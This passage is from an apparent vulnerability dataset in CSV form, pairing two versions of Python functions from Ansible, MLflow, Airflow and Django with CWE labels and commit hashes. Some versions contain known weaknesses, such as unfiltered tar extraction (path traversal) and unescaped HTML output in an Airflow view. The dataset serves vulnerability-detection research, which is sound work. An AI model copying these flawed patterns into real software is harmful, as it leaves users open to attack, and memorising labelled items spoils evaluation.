    # ensure we use proper tempdir
    tempfile.tempdir = module.tempdir

    # Get validate_certs from the module params
    validate_certs = module.params.get('validate_certs', True)

    username = module.params.get('url_username', '')
    password = module.params.get('url_password', '')
    http_agent = module.params.get('http_agent', 'ansible-httpget')
    force_basic_auth = module.params.get('force_basic_auth', '')

    follow_redirects = module.params.get('follow_redirects', 'urllib2')

    client_cert = module.params.get('client_cert')
    client_key = module.params.get('client_key')

    cookies = cookiejar.LWPCookieJar()

    r = None
    info = dict(url=url)
    try:
        r = open_url(url, data=data, headers=headers, method=method,
                     use_proxy=use_proxy, force=force, last_mod_time=last_mod_time, timeout=timeout,
                     validate_certs=validate_certs, url_username=username,
                     url_password=password, http_agent=http_agent, force_basic_auth=force_basic_auth,
                     follow_redirects=follow_redirects, client_cert=client_cert,
                     client_key=client_key, cookies=cookies)
        info.update(r.info())
        # parse the cookies into a nice dictionary
        cookie_dict = dict()
        for cookie in cookies:
            cookie_dict[cookie.name] = cookie.value
        info['cookies'] = cookie_dict
        # finally update the result with a message about the fetch
        info.update(dict(msg=""OK (%s bytes)"" % r.headers.get('Content-Length', 'unknown'), url=r.geturl(), status=r.code))
    except NoSSLError as e:
        distribution = get_distribution()
        if distribution is not None and distribution.lower() == 'redhat':
            module.fail_json(msg='%s. You can also install python-ssl from EPEL' % to_native(e))
        else:
            module.fail_json(msg='%s' % to_native(e))
    except (ConnectionError, ValueError) as e:
        module.fail_json(msg=to_native(e))
    except urllib_error.HTTPError as e:
        try:
            body = e.read()
        except AttributeError:
            body = ''

        # Try to add exception info to the output but don't fail if we can't
        try:
            info.update(dict(**e.info()))
        except:
            pass

        info.update({'msg': to_native(e), 'body': body, 'status': e.code})

    except urllib_error.URLError as e:
        code = int(getattr(e, 'code', -1))
        info.update(dict(msg=""Request failed: %s"" % to_native(e), status=code))
    except socket.error as e:
        info.update(dict(msg=""Connection failure: %s"" % to_native(e), status=-1))
    except Exception as e:
        info.update(dict(msg=""An unknown error occurred: %s"" % to_native(e), status=-1),
                    exception=traceback.format_exc())

    return r, info",CWE-703,ansible/ansible,bbd6b8bb42cc8fa48157ce5db0efb0a836c94917,"def fetch_url(module, url, data=None, headers=None, method=None,
              use_proxy=True, force=False, last_mod_time=None, timeout=10):
    """"""Sends a request via HTTP(S) or FTP (needs the module as parameter)

    :arg module: The AnsibleModule (used to get username, password etc. (s.b.).
    :arg url:             The url to use.

    :kwarg data:          The data to be sent (in case of POST/PUT).
    :kwarg headers:       A dict with the request headers.
    :kwarg method:        ""POST"", ""PUT"", etc.
    :kwarg boolean use_proxy:     Default: True
    :kwarg boolean force: If True: Do not get a cached copy (Default: False)
    :kwarg last_mod_time: Default: None
    :kwarg int timeout:   Default: 10

    :returns: A tuple of (**response**, **info**). Use ``response.read()`` to read the data.
        The **info** contains the 'status' and other meta data. When a HttpError (status > 400)
        occurred then ``info['body']`` contains the error response data::

    Example::

        data={...}
        resp, info = fetch_url(module,
                               ""http://example.com"",
                               data=module.jsonify(data)
                               header={Content-type': 'application/json'},
                               method=""POST"")
        status_code = info[""status""]
        body = resp.read()
        if status_code >= 400 :
            body = info['body']
    """"""

    if not HAS_URLPARSE:
        module.fail_json(msg='urlparse is not installed')

    # Get validate_certs from the module params
    validate_certs = module.params.get('validate_certs', True)

    username = module.params.get('url_username', '')
    password = module.params.get('url_password', '')
    http_agent = module.params.get('http_agent', 'ansible-httpget')
    force_basic_auth = module.params.get('force_basic_auth', '')

    follow_redirects = module.params.get('follow_redirects', 'urllib2')

    client_cert = module.params.get('client_cert')
    client_key = module.params.get('client_key')

    cookies = cookiejar.LWPCookieJar()

    r = None
    info = dict(url=url)
    try:
        r = open_url(url, data=data, headers=headers, method=method,
                     use_proxy=use_proxy, force=force, last_mod_time=last_mod_time, timeout=timeout,
                     validate_certs=validate_certs, url_username=username,
                     url_password=password, http_agent=http_agent, force_basic_auth=force_basic_auth,
                     follow_redirects=follow_redirects, client_cert=client_cert,
                     client_key=client_key, cookies=cookies)
        info.update(r.info())
        # parse the cookies into a nice dictionary
        cookie_dict = dict()
        for cookie in cookies:
            cookie_dict[cookie.name] = cookie.value
        info['cookies'] = cookie_dict
        # finally update the result with a message about the fetch
        info.update(dict(msg=""OK (%s bytes)"" % r.headers.get('Content-Length', 'unknown'), url=r.geturl(), status=r.code))
    except NoSSLError as e:
        distribution = get_distribution()
        if distribution is not None and distribution.lower() == 'redhat':
            module.fail_json(msg='%s. You can also install python-ssl from EPEL' % to_native(e))
        else:
            module.fail_json(msg='%s' % to_native(e))
    except (ConnectionError, ValueError) as e:
        module.fail_json(msg=to_native(e))
    except urllib_error.HTTPError as e:
        try:
            body = e.read()
        except AttributeError:
            body = ''

        # Try to add exception info to the output but don't fail if we can't
        try:
            info.update(dict(**e.info()))
        except:
            pass

        info.update({'msg': to_native(e), 'body': body, 'status': e.code})

    except urllib_error.URLError as e:
        code = int(getattr(e, 'code', -1))
        info.update(dict(msg=""Request failed: %s"" % to_native(e), status=code))
    except socket.error as e:
        info.update(dict(msg=""Connection failure: %s"" % to_native(e), status=-1))
    except Exception as e:
        info.update(dict(msg=""An unknown error occurred: %s"" % to_native(e), status=-1),
                    exception=traceback.format_exc())

    return r, info"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,examples/flower_classifier/score_images_spark.py,0,"def score_model(spark, data_path, model_uri):
    if os.path.isdir(data_path):
        filenames = [
            os.path.abspath(os.path.join(data_path, x))
            for x in os.listdir(data_path)
            if os.path.isfile(os.path.join(data_path, x))
        ]
    else:
        filenames = [data_path]

    image_classifier_udf = mlflow.pyfunc.spark_udf(
        spark=spark, model_uri=model_uri, result_type=ArrayType(StringType())
    )

    image_df = read_images(spark, filenames)

    raw_preds = (
        image_df.withColumn(""prediction"", image_classifier_udf(""image""))
        .select([""filename"", ""prediction""])
        .toPandas()
    )
    # load the pyfunc model to get our domain
    pyfunc_model = mlflow.pyfunc.load_model(model_uri=model_uri)
    preds = pd.DataFrame(raw_preds[""filename""], index=raw_preds.index)
    preds[pyfunc_model._column_names] = pd.DataFrame(
        raw_preds[""prediction""].values.tolist(),
        columns=pyfunc_model._column_names,
        index=raw_preds.index,
    )

    preds = pd.DataFrame(raw_preds[""filename""], index=raw_preds.index)

    preds[pyfunc_model._column_names] = pd.DataFrame(
        raw_preds[""prediction""].values.tolist(),
        columns=pyfunc_model._column_names,
        index=raw_preds.index,
    )
    return preds.to_json(orient=""records"")",,mlflow/mlflow,881919bc96f6858381e79f80c367f270395fb748,"def score_model(spark, data_path, model_uri):
    if os.path.isdir(data_path):
        filenames = [
            os.path.abspath(os.path.join(data_path, x))
            for x in os.listdir(data_path)
            if os.path.isfile(os.path.join(data_path, x))
        ]
    else:
        filenames = [data_path]

    image_classifier_udf = mlflow.pyfunc.spark_udf(
        spark=spark, model_uri=model_uri, result_type=ArrayType(StringType())
    )

    image_df = read_images(spark, filenames)

    raw_preds = (
        image_df.withColumn(""prediction"", image_classifier_udf(""image""))
        .select([""filename"", ""prediction""])
        .toPandas()
    )
    # load the pyfunc model to get our domain
    pyfunc_model = mlflow.pyfunc.load_pyfunc(model_uri=model_uri)
    preds = pd.DataFrame(raw_preds[""filename""], index=raw_preds.index)
    preds[pyfunc_model._column_names] = pd.DataFrame(
        raw_preds[""prediction""].values.tolist(),
        columns=pyfunc_model._column_names,
        index=raw_preds.index,
    )

    preds = pd.DataFrame(raw_preds[""filename""], index=raw_preds.index)

    preds[pyfunc_model._column_names] = pd.DataFrame(
        raw_preds[""prediction""].values.tolist(),
        columns=pyfunc_model._column_names,
        index=raw_preds.index,
    )
    return preds.to_json(orient=""records"")"
,UNKNOWN,UNKNOWN,tests/core/test_configuration.py,1,"def test_sensitive_values():
    from airflow.settings import conf

    # this list was hardcoded prior to 2.6.2
    # included here to avoid regression in refactor
    # inclusion of keys ending in ""password"" or ""kwargs"" is automated from 2.6.2
    # items not matching this pattern must be added here manually
    sensitive_values = {
        (""database"", ""sql_alchemy_conn""),
        (""core"", ""fernet_key""),
        (""smtp"", ""smtp_password""),
        (""webserver"", ""secret_key""),
        (""secrets"", ""backend_kwargs""),
        (""sentry"", ""sentry_dsn""),
        (""database"", ""sql_alchemy_engine_args""),
        (""core"", ""sql_alchemy_conn""),
        (""celery_broker_transport_options"", ""sentinel_kwargs""),
        (""celery"", ""broker_url""),
        (""celery"", ""flower_basic_auth""),
        (""celery"", ""result_backend""),
    }
    all_keys = {(s, k) for s, v in conf.configuration_description.items() for k in v.get(""options"")}
    suspected_sensitive = {(s, k) for (s, k) in all_keys if k.endswith((""password"", ""kwargs""))}
    exclude_list = {
        (""aws_batch_executor"", ""submit_job_kwargs""),
        (""kubernetes_executor"", ""delete_option_kwargs""),
        (""aws_ecs_executor"", ""run_task_kwargs""),  # Only a constrained set of values, none are sensitive
    }
    suspected_sensitive -= exclude_list
    sensitive_values.update(suspected_sensitive)
    assert sensitive_values == conf.sensitive_config_values",CWE-703,apache/airflow,46ee631c794cfbe1793577171fcb9f6e8c615227,"def test_sensitive_values():
    from airflow.settings import conf

    # this list was hardcoded prior to 2.6.2
    # included here to avoid regression in refactor
    # inclusion of keys ending in ""password"" or ""kwargs"" is automated from 2.6.2
    # items not matching this pattern must be added here manually
    sensitive_values = {
        (""database"", ""sql_alchemy_conn""),
        (""core"", ""fernet_key""),
        (""smtp"", ""smtp_password""),
        (""webserver"", ""secret_key""),
        (""secrets"", ""backend_kwargs""),
        (""sentry"", ""sentry_dsn""),
        (""database"", ""sql_alchemy_engine_args""),
        (""core"", ""sql_alchemy_conn""),
        (""celery_broker_transport_options"", ""sentinel_kwargs""),
        (""celery"", ""broker_url""),
        (""celery"", ""flower_basic_auth""),
        (""celery"", ""result_backend""),
    }
    all_keys = {(s, k) for s, v in conf.configuration_description.items() for k in v.get(""options"")}
    suspected_sensitive = {(s, k) for (s, k) in all_keys if k.endswith((""password"", ""kwargs""))}
    exclude_list = {
        (""kubernetes_executor"", ""delete_option_kwargs""),
        (""aws_ecs_executor"", ""run_task_kwargs""),  # Only a constrained set of values, none are sensitive
    }
    suspected_sensitive -= exclude_list
    sensitive_values.update(suspected_sensitive)
    assert sensitive_values == conf.sensitive_config_values"
,UNKNOWN,UNKNOWN,test/integration/targets/ansible-galaxy-collection/library/setup_collections.py,1,"def publish_collection(module, collection):
    namespace = collection['namespace']
    name = collection['name']
    version = collection['version']
    dependencies = collection['dependencies']
    use_symlink = collection['use_symlink']

    result = {}
    collection_dir = os.path.join(module.tmpdir, ""%s-%s-%s"" % (namespace, name, version))
    b_collection_dir = to_bytes(collection_dir, errors='surrogate_or_strict')
    os.mkdir(b_collection_dir)

    with open(os.path.join(b_collection_dir, b'README.md'), mode='wb') as fd:
        fd.write(b""Collection readme"")

    galaxy_meta = {
        'namespace': namespace,
        'name': name,
        'version': version,
        'readme': 'README.md',
        'authors': ['Collection author <name@email.com'],
        'dependencies': dependencies,
        'license': ['GPL-3.0-or-later'],
        'repository': 'https://ansible.com/',
    }
    with open(os.path.join(b_collection_dir, b'galaxy.yml'), mode='wb') as fd:
        fd.write(to_bytes(yaml.safe_dump(galaxy_meta), errors='surrogate_or_strict'))

    with tempfile.NamedTemporaryFile(mode='wb') as temp_fd:
        temp_fd.write(b""data"")

        if use_symlink:
            os.mkdir(os.path.join(b_collection_dir, b'docs'))
            os.mkdir(os.path.join(b_collection_dir, b'plugins'))
            b_target_file = b'RE\xc3\x85DM\xc3\x88.md'
            with open(os.path.join(b_collection_dir, b_target_file), mode='wb') as fd:
                fd.write(b'data')

            os.symlink(b_target_file, os.path.join(b_collection_dir, b_target_file + b'-link'))
            os.symlink(temp_fd.name, os.path.join(b_collection_dir, b_target_file + b'-outside-link'))
            os.symlink(os.path.join(b'..', b_target_file), os.path.join(b_collection_dir, b'docs', b_target_file))
            os.symlink(os.path.join(b_collection_dir, b_target_file),
                       os.path.join(b_collection_dir, b'plugins', b_target_file))
            os.symlink(b'docs', os.path.join(b_collection_dir, b'docs-link'))

        release_filename = '%s-%s-%s.tar.gz' % (namespace, name, version)
        collection_path = os.path.join(collection_dir, release_filename)
        rc, stdout, stderr = module.run_command(['ansible-galaxy', 'collection', 'build'], cwd=collection_dir)
        result['build'] = {
            'rc': rc,
            'stdout': stdout,
            'stderr': stderr,
        }

        if module.params['signature_dir'] is not None:
            # To test user-provided signatures, we need to sign the MANIFEST.json before publishing

            # Extract the tarfile to sign the MANIFEST.json
            with tarfile.open(collection_path, mode='r') as collection_tar:
                # deprecated: description='extractall fallback without filter' python_version='3.11'
                # Replace 'tar_filter' with 'data_filter' and 'filter=tar' with 'filter=data' once Python 3.12 is minimum requirement.
                if hasattr(tarfile, 'tar_filter'):
                    collection_tar.extractall(path=os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)), filter='tar')
                else:
                    collection_tar.extractall(path=os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)))

            manifest_path = os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version), 'MANIFEST.json')
            signature_path = os.path.join(module.params['signature_dir'], '%s-%s-%s-MANIFEST.json.asc' % (namespace, name, version))
            sign_manifest(signature_path, manifest_path, module, result)

            # Create the tarfile containing the signed MANIFEST.json
            with tarfile.open(collection_path, ""w:gz"") as tar:
                tar.add(os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)), arcname=os.path.sep)

    publish_args = ['ansible-galaxy', 'collection', 'publish', collection_path, '--server', module.params['server']]
    if module.params['token']:
        publish_args.extend(['--token', module.params['token']])

    rc, stdout, stderr = module.run_command(publish_args)
    result['publish'] = {
        'rc': rc,
        'stdout': stdout,
        'stderr': stderr,
    }

    return result",CWE-22,ansible/ansible,590e46c422cb2c26e931b0b1f304d4404ff32130,"def publish_collection(module, collection):
    namespace = collection['namespace']
    name = collection['name']
    version = collection['version']
    dependencies = collection['dependencies']
    use_symlink = collection['use_symlink']

    result = {}
    collection_dir = os.path.join(module.tmpdir, ""%s-%s-%s"" % (namespace, name, version))
    b_collection_dir = to_bytes(collection_dir, errors='surrogate_or_strict')
    os.mkdir(b_collection_dir)

    with open(os.path.join(b_collection_dir, b'README.md'), mode='wb') as fd:
        fd.write(b""Collection readme"")

    galaxy_meta = {
        'namespace': namespace,
        'name': name,
        'version': version,
        'readme': 'README.md',
        'authors': ['Collection author <name@email.com'],
        'dependencies': dependencies,
        'license': ['GPL-3.0-or-later'],
        'repository': 'https://ansible.com/',
    }
    with open(os.path.join(b_collection_dir, b'galaxy.yml'), mode='wb') as fd:
        fd.write(to_bytes(yaml.safe_dump(galaxy_meta), errors='surrogate_or_strict'))

    with tempfile.NamedTemporaryFile(mode='wb') as temp_fd:
        temp_fd.write(b""data"")

        if use_symlink:
            os.mkdir(os.path.join(b_collection_dir, b'docs'))
            os.mkdir(os.path.join(b_collection_dir, b'plugins'))
            b_target_file = b'RE\xc3\x85DM\xc3\x88.md'
            with open(os.path.join(b_collection_dir, b_target_file), mode='wb') as fd:
                fd.write(b'data')

            os.symlink(b_target_file, os.path.join(b_collection_dir, b_target_file + b'-link'))
            os.symlink(temp_fd.name, os.path.join(b_collection_dir, b_target_file + b'-outside-link'))
            os.symlink(os.path.join(b'..', b_target_file), os.path.join(b_collection_dir, b'docs', b_target_file))
            os.symlink(os.path.join(b_collection_dir, b_target_file),
                       os.path.join(b_collection_dir, b'plugins', b_target_file))
            os.symlink(b'docs', os.path.join(b_collection_dir, b'docs-link'))

        release_filename = '%s-%s-%s.tar.gz' % (namespace, name, version)
        collection_path = os.path.join(collection_dir, release_filename)
        rc, stdout, stderr = module.run_command(['ansible-galaxy', 'collection', 'build'], cwd=collection_dir)
        result['build'] = {
            'rc': rc,
            'stdout': stdout,
            'stderr': stderr,
        }

        if module.params['signature_dir'] is not None:
            # To test user-provided signatures, we need to sign the MANIFEST.json before publishing

            # Extract the tarfile to sign the MANIFEST.json
            with tarfile.open(collection_path, mode='r') as collection_tar:
                collection_tar.extractall(path=os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)))

            manifest_path = os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version), 'MANIFEST.json')
            signature_path = os.path.join(module.params['signature_dir'], '%s-%s-%s-MANIFEST.json.asc' % (namespace, name, version))
            sign_manifest(signature_path, manifest_path, module, result)

            # Create the tarfile containing the signed MANIFEST.json
            with tarfile.open(collection_path, ""w:gz"") as tar:
                tar.add(os.path.join(collection_dir, '%s-%s-%s' % (namespace, name, version)), arcname=os.path.sep)

    publish_args = ['ansible-galaxy', 'collection', 'publish', collection_path, '--server', module.params['server']]
    if module.params['token']:
        publish_args.extend(['--token', module.params['token']])

    rc, stdout, stderr = module.run_command(publish_args)
    result['publish'] = {
        'rc': rc,
        'stdout': stdout,
        'stderr': stderr,
    }

    return result"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/inventory/dir.py,0,"def __init__(self, loader, groups=None, filename=C.DEFAULT_HOST_LIST):
        if groups is None:
            groups = dict()

        self.names = os.listdir(filename)
        self.names.sort()
        self.directory = filename
        self.parsers = []
        self.hosts = {}
        self.groups = groups

        self._loader = loader

        for i in self.names:

            # Skip files that end with certain extensions or characters
            if any(i.endswith(ext) for ext in C.DEFAULT_INVENTORY_IGNORE):
                continue
            # Skip hidden files
            if i.startswith('.') and not i.startswith('./'):
                continue
            # These are things inside of an inventory basedir
            if i in (""host_vars"", ""group_vars"", ""vars_plugins""):
                continue
            fullpath = os.path.join(self.directory, i)
            if os.path.isdir(fullpath):
                parser = InventoryDirectory(loader=loader, groups=groups, filename=fullpath)
            else:
                parser = get_file_parser(fullpath, self.groups, loader)
                if parser is None:
                    #FIXME: needs to use display
                    import warnings
                    warnings.warning(""Could not find parser for %s, skipping"" % fullpath)
                    continue

            self.parsers.append(parser)

            # retrieve all groups and hosts form the parser and add them to
            # self, don't look at group lists yet, to avoid
            # recursion trouble, but just make sure all objects exist in self
            newgroups = parser.groups.values()
            for group in newgroups:
                for host in group.hosts:
                    self._add_host(host)
            for group in newgroups:
                self._add_group(group)

            # now check the objects lists so they contain only objects from
            # self; membership data in groups is already fine (except all &
            # ungrouped, see later), but might still reference objects not in self
            for group in self.groups.values():
                # iterate on a copy of the lists, as those lists get changed in
                # the loop
                # list with group's child group objects:
                for child in group.child_groups[:]:
                    if child != self.groups[child.name]:
                        group.child_groups.remove(child)
                        group.child_groups.append(self.groups[child.name])
                # list with group's parent group objects:
                for parent in group.parent_groups[:]:
                    if parent != self.groups[parent.name]:
                        group.parent_groups.remove(parent)
                        group.parent_groups.append(self.groups[parent.name])
                # list with group's host objects:
                for host in group.hosts[:]:
                    if host != self.hosts[host.name]:
                        group.hosts.remove(host)
                        group.hosts.append(self.hosts[host.name])
                    # also check here that the group that contains host, is
                    # also contained in the host's group list
                    if group not in self.hosts[host.name].groups:
                        self.hosts[host.name].groups.append(group)

        # extra checks on special groups all and ungrouped
        # remove hosts from 'ungrouped' if they became member of other groups
        if 'ungrouped' in self.groups:
            ungrouped = self.groups['ungrouped']
            # loop on a copy of ungrouped hosts, as we want to change that list
            for host in frozenset(ungrouped.hosts):
                if len(host.groups) > 1:
                    host.groups.remove(ungrouped)
                    ungrouped.hosts.remove(host)

        # remove hosts from 'all' if they became member of other groups
        # all should only contain direct children, not grandchildren
        # direct children should have dept == 1
        if 'all' in self.groups:
            allgroup = self.groups['all' ]
            # loop on a copy of all's  child groups, as we want to change that list
            for group in allgroup.child_groups[:]:
                # groups might once have beeen added to all, and later be added
                # to another group: we need to remove the link wit all then
                if len(group.parent_groups) > 1 and allgroup in group.parent_groups:
                    # real children of all have just 1 parent, all
                    # this one has more, so not a direct child of all anymore
                    group.parent_groups.remove(allgroup)
                    allgroup.child_groups.remove(group)
                elif allgroup not in group.parent_groups:
                    # this group was once added to all, but doesn't list it as
                    # a parent any more; the info in the group is the correct
                    # info
                    allgroup.child_groups.remove(group)",,ansible/ansible,17e8500202b0ef58ab2ac41521006b201cfbf094,"def __init__(self, loader, groups=None, filename=C.DEFAULT_HOST_LIST):
        if groups is None:
            groups = dict()

        self.names = os.listdir(filename)
        self.names.sort()
        self.directory = filename
        self.parsers = []
        self.hosts = {}
        self.groups = groups

        self._loader = loader

        for i in self.names:

            # Skip files that end with certain extensions or characters
            if any(i.endswith(ext) for ext in C.DEFAULT_INVENTORY_IGNORE):
                continue
            # Skip hidden files
            if i.startswith('.') and not i.startswith('./'):
                continue
            # These are things inside of an inventory basedir
            if i in (""host_vars"", ""group_vars"", ""vars_plugins""):
                continue
            fullpath = os.path.join(self.directory, i)
            if os.path.isdir(fullpath):
                parser = InventoryDirectory(loader=loader, groups=groups, filename=fullpath)
            else:
                parser = get_file_parser(fullpath, self.groups, loader)
                if parser is None:
                    #FIXME: needs to use display
                    import warnings
                    warnings.warning(""Could not find parser for %s, skipping"" % fullpath)
                    continue

            self.parsers.append(parser)

            # retrieve all groups and hosts form the parser and add them to
            # self, don't look at group lists yet, to avoid
            # recursion trouble, but just make sure all objects exist in self
            newgroups = parser.groups.values()
            for group in newgroups:
                for host in group.hosts:
                    self._add_host(host)
            for group in newgroups:
                self._add_group(group)

            # now check the objects lists so they contain only objects from
            # self; membership data in groups is already fine (except all &
            # ungrouped, see later), but might still reference objects not in self
            for group in self.groups.values():
                # iterate on a copy of the lists, as those lists get changed in
                # the loop
                # list with group's child group objects:
                for child in group.child_groups[:]:
                    if child != self.groups[child.name]:
                        group.child_groups.remove(child)
                        group.child_groups.append(self.groups[child.name])
                # list with group's parent group objects:
                for parent in group.parent_groups[:]:
                    if parent != self.groups[parent.name]:
                        group.parent_groups.remove(parent)
                        group.parent_groups.append(self.groups[parent.name])
                # list with group's host objects:
                for host in group.hosts[:]:
                    if host != self.hosts[host.name]:
                        group.hosts.remove(host)
                        group.hosts.append(self.hosts[host.name])
                    # also check here that the group that contains host, is
                    # also contained in the host's group list
                    if group not in self.hosts[host.name].groups:
                        self.hosts[host.name].groups.append(group)

        # extra checks on special groups all and ungrouped
        # remove hosts from 'ungrouped' if they became member of other groups
        if 'ungrouped' in self.groups:
            ungrouped = self.groups['ungrouped']
            # loop on a copy of ungrouped hosts, as we want to change that list
            for host in ungrouped.hosts[:]:
                if len(host.groups) > 1:
                    host.groups.remove(ungrouped)
                    ungrouped.hosts.remove(host)

        # remove hosts from 'all' if they became member of other groups
        # all should only contain direct children, not grandchildren
        # direct children should have dept == 1
        if 'all' in self.groups:
            allgroup = self.groups['all' ]
            # loop on a copy of all's  child groups, as we want to change that list
            for group in allgroup.child_groups[:]:
                # groups might once have beeen added to all, and later be added
                # to another group: we need to remove the link wit all then
                if len(group.parent_groups) > 1 and allgroup in group.parent_groups:
                    # real children of all have just 1 parent, all
                    # this one has more, so not a direct child of all anymore
                    group.parent_groups.remove(allgroup)
                    allgroup.child_groups.remove(group)
                elif allgroup not in group.parent_groups:
                    # this group was once added to all, but doesn't list it as
                    # a parent any more; the info in the group is the correct
                    # info
                    allgroup.child_groups.remove(group)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/app.py,0,"def rendered(self):
        dag_id = request.args.get('dag_id')
        task_id = request.args.get('task_id')
        execution_date = request.args.get('execution_date')
        dttm = dateutil.parser.parse(execution_date)
        form = DateTimeForm(data={'execution_date': dttm})
        dag = dagbag.dags[dag_id]
        task = copy.copy(dag.get_task(task_id))
        ti = models.TaskInstance(task=task, execution_date=dttm)
        try:
            ti.render_templates()
        except Exception as e:
            flash(""Error rendering template: "" + str(e), ""error"")
        title = ""Rendered Template""
        html_dict = {}
        for template_field in task.__class__.template_fields:
            content = getattr(task, template_field)
            if template_field in special_attrs:
                html_dict[template_field] = highlight(
                    content,
                    special_attrs[template_field](),  # Lexer call
                    HtmlFormatter(linenos=True),
                )
            else:
                html_dict[template_field] = (
                    ""<pre><code>"" + content + ""</pre></code>"")

        return self.render(
            'airflow/ti_code.html',
            html_dict=html_dict,
            dag=dag,
            task_id=task_id,
            execution_date=execution_date,
            form=form,
            title=title,)",CWE-Unknown,apache/airflow,1097a03f6e146637d4e43e5e8743931d9e18f354,"def rendered(self):
        dag_id = request.args.get('dag_id')
        task_id = request.args.get('task_id')
        execution_date = request.args.get('execution_date')
        dttm = dateutil.parser.parse(execution_date)
        form = DateTimeForm(data={'execution_date': dttm})
        dag = dagbag.dags[dag_id]
        task = copy.copy(dag.get_task(task_id))
        ti = models.TaskInstance(task=task, execution_date=dttm)
        try:
            ti.render_templates()
        except Exception as e:
            flash(""Error rendering template: "" + str(e), ""error"")
        title = ""Rendered Template""
        html_dict = {}
        for template_field in task.__class__.template_fields:
            content = getattr(task, template_field)
            if template_field in special_attrs:
                html_dict[template_field] = highlight(
                    content,
                    special_attrs[template_field](),  # Lexer call
                    HtmlFormatter(linenos=True),
                )
            else:
                html_dict[template_field] = (
                    ""<pre><code>"" + content + ""</pre></code>"")

        return self.render(
            'airflow/dag_code.html',
            html_dict=html_dict,
            dag=dag,
            task_id=task_id,
            execution_date=execution_date,
            form=form,
            title=title,)"
,UNKNOWN,UNKNOWN,django/contrib/auth/views.py,1,"def password_reset_confirm(request, uidb36=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    UserModel = get_user_model()
    assert uidb36 is not None and token is not None  # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
        user = UserModel._default_manager.get(pk=uid_int)
    except (ValueError, OverflowError, UserModel.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        validlink = False
        form = None
    context = {
        'form': form,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)",CWE-703,django/django,5f3c45f7458825b5ca88fb60e5349762fb74d5ae,"def password_reset_confirm(request, uidb36=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    UserModel = get_user_model()
    assert uidb36 is not None and token is not None  # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
        user = UserModel.objects.get(pk=uid_int)
    except (ValueError, OverflowError, UserModel.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        validlink = False
        form = None
    context = {
        'form': form,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/callback/__init__.py,0,"def _dump_results(self, result, indent=None, sort_keys=True, keep_invocation=None):
        if result.get('_ansible_no_log', False):
            return json.dumps(dict(censored=""the output has been hidden due to the fact that 'no_log: true' was specified for this result""))

        if not indent and '_ansible_verbose_always' in result and result['_ansible_verbose_always']:
            indent = 4

        # All result keys stating with _ansible_ are internal, so remove them from the result before we output anything.
        abridged_result = result.copy()
        for k in abridged_result.keys():
            if isinstance(k, string_types) and k.startswith('_ansible_'):
                del abridged_result[k]

        # Remove invocation unless verbosity is turned up or the specific
        # callback wants to keep it
        if keep_invocation is None:
            if self._display.verbosity < 3:
                keep_invocation = False
            else:
                keep_invocation = True

        if not keep_invocation and 'invocation' in result:
            del abridged_result['invocation']

        return json.dumps(abridged_result, indent=indent, ensure_ascii=False, sort_keys=sort_keys)",,ansible/ansible,92dd563a7591fa81058c51e0585d7cdbab7ccafc,"def _dump_results(self, result, indent=None, sort_keys=True, keep_invocation=None):
        if result.get('_ansible_no_log', False):
            return json.dumps(dict(censored=""the output has been hidden due to the fact that 'no_log: true' was specified for this result""))

        if not indent and '_ansible_verbose_always' in result and result['_ansible_verbose_always']:
            indent = 4

        # All result keys stating with _ansible_ are internal, so remove them from the result before we output anything.
        abridged_result = result.copy()
        for k in abridged_result.keys():
            if isinstance(k, string_types) and k.startswith('_ansible_'):
                del abridged_result[k]

        # Remove invocation unless verbosity is turned up or the specific
        # callback wants to keep it
        if keep_invocation is None:
            if self._display.verbosity < 3:
                keep_invocation = False
            else:
                keep_invocation = True
        if not keep_invocation and 'invocation' in result:
            del abridged_result['invocation']

        # remove invocation info unless its very very verbose
        if 'invocation' in abridged_result and self._display.verbosity < 3:
            del abridged_result['invocation']

        return json.dumps(abridged_result, indent=indent, ensure_ascii=False, sort_keys=sort_keys)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/cloudengine/ce_netstream_aging.py,0,"def get_end_timer_out_para(self):
        """"""Get end netstream timeout parameters""""""

        active_tmp = dict()
        inactive_tmp = dict()
        tcp_tmp = dict()
        active_tmp[""ip""] = ""30""
        active_tmp[""vxlan""] = ""30""
        inactive_tmp[""ip""] = ""30""
        inactive_tmp[""vxlan""] = ""30""
        tcp_tmp[""ip""] = ""absent""
        tcp_tmp[""vxlan""] = ""absent""
        flags = list()
        exp = "" | ignore-case include netstream timeout""
        flags.append(exp)
        config = get_config(self.module, flags)
        if config:
